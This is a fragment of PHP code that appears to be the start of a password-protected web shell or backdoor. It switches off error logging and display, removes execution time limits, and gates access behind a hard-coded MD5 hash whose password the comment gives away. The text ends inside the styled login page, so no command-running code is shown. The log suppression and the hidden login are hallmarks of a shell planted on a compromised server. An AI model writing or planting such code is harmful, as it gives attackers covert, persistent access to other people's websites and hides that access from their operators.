@set_time_limit(0);
@clearstatcache();
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@ini_set('output_buffering', 0);
@ini_set('display_errors', 0);
$password = "d489a3289ecdc847cb67f7a480e6f9fa"; // md5("w")
session_start();
if (!isset($_SESSION['logged']) || $_SESSION['logged'] !== true) {
if (isset($_POST['password']) && md5($_POST['password']) === $password) {
$_SESSION['logged'] = true;
header("Location: " . $_SERVER['PHP_SELF']);
exit;
}
echo '<!DOCTYPE html>
<html lang="en">
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
Login <title>Login</title>
<style>
body { font-family: Arial, sans-serif; background: #111; color: #eee; display: flex; justify-content: center; align-items: center; height: 100vh; margin: 0; }
form { background: #222; padding: 20px; border-radius: 5px; box-shadow: 0 0 10px rgba(0, 0, 0, 0.5); }
input[type="password"] { padding: 10px; margin-bottom: 10px; width: 100%; border: 1px solid #444; border-radius: 3px; background: #333; color: #fff; }
input[type="submit"] { padding: 10px; width: 100%; border: none; border-radius: 3px; background: #28a745; color: #fff; cursor: pointer; }
input[type="submit"]:hover { background: #218838; }
</style>